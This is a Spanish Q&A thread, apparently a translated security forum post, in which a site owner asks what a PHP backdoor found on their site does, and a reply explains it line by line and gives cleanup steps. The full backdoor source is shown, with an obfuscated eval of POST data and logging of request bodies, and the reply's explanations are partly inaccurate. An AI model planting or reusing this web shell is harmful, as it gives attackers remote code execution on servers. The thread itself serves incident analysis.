Análisis de script malicioso

5

¿Podría alguien decirme qué puede hacer este código malicioso?

Veo que al principio desactiva el informe y el registro de errores.

Luego, algo con el método de envío y archivos. Pero no estoy seguro.

¿Podría alguien ayudarme a explicar qué hace este script?

@error_reporting(0);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);

if (isset($_GET['r'])) {
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    $data = file_get_contents('php://input');

    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';

    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);

        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");

        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

¿Alguna idea de módulo php rápido o supresión de funciones en la configuración de php en el servidor, por lo que este script malicioso está fuera de suerte y se rompe mientras trataré de eliminarlo por completo del sitio web?

    
pregunta Adi 28.05.2013 - 19:52
fuente

1 respuesta

10

Un poco de código desagradable

Es probable que sea una configuración de botnet o una backdoor para guiones de niños. Necesitaría ver lo que están pasando como vars y URL para decirle con qué lo están golpeando, pero este es un script de prueba de puerta trasera que intenta varias vulnerabilidades conocidas para pasar información a su servidor. Por lo general, se inyectan a través de MySQL Injection Attack y se ejecutan en la impresión, o en alguna salida insegura (no limpia) de las variables proporcionadas por el cliente (incluidas las cookies).

Deshabilita el registro con salida de error deshabilitada en caso de que no se permitan cambios de ini_set y error_reporting :

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

Comprueba la variable 'r' $_GET que se pasa a través de la barra de direcciones (es probable que se verifique la redirección de .htaccess ).

if (isset($_GET['r'])) { print $_GET['r']; } 

Comprueba si su propia variable post se pasa y probablemente ejecuta cualquier carga útil que hayan preparado.

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } 

Comprueba si permite la apertura remota de URL si falla el primer método

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

Verifica su importación

if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; 

Intenta escribir un archivo

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

Bloquea el archivo con un bloqueo exclusivo para escritura

@flock($fp, LOCK_EX); 

Imprime en un archivo con visualización de error (probablemente otra carga útil para algún otro servidor)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 

Libera el bloqueo

@flock($fp, LOCK_UN);

Cierra el archivo que está ahora en su servidor

@fclose($fp); } }

Cierra el script

exit;

Puede analizar esto para ver las cosas que están verificando e implementarlas en caso de que pueda verse comprometido por esto. El bit flock() está en algunos de los códigos más nuevos.

Como regla general, cuando los desarrolladores de programación nunca deben confiar en la información proporcionada por el cliente.

Actualizar

Intente buscar su código para cadenas codificadas en base64 que no creó. Puedes grep para cosas como eval( . También puede estar en su base de datos si les ha permitido tiempo en su caja. Es probable que exista un motor de carga útil en algún lugar del servidor (usted estaría más familiarizado con el código existente en el servidor que nadie aquí). He visto estas puertas traseras de escritura, puertas traseras de bases de datos personalizadas con nuevas bases de datos y rootkits. Entonces, dependiendo de con quién estés tratando si tienes acceso físico, desenchúfalo de la red hasta que puedas limpiarlo.

De lo contrario, bloquee todo el tráfico al servidor, excepto desde su propia dirección IP.

Tendrás que pasar por cada paso de su script para ver qué fue permitido. Probablemente se detuvieron en la primera hazaña. Sin embargo, eso no significa que los otros no existan.

Nota: la restauración desde la copia de seguridad no soluciona el problema. Durará aproximadamente 2 segundos si están en tu caja.

Solo algunas otras cosas para buscar que he encontrado:

  1. cron s (que comprueba el script y lo vuelve a escribir en caso de que se elimine)
  2. ejecutables en top (que no esperas estar allí)
  3. Nuevos usuarios
  4. Nuevos subdirectorios
  5. Nuevos directorios httpd.conf (un nuevo sitio web)
  6. Nueva base de datos
  7. Nuevas tablas de base de datos
  8. Nuevo usuario de la base de datos
  9. Grupos nuevos
  10. Nuevas reglas de lista blanca de IP en el firewall

Por lo general, esto requiere un borrado y una reconstrucción con una mejor seguridad desde el principio, porque generalmente cuando alguien se da cuenta de que han pasado algunas horas desde que el exploit y los atacantes han ejecutado más puertas traseras y cargas útiles en la caja ahora infectada. Sin embargo, te mostrará dónde están todas las debilidades del servidor.

    
respondido por el AbsoluteƵERØ 28.05.2013 - 20:01
fuente

Lea otras preguntas en las etiquetas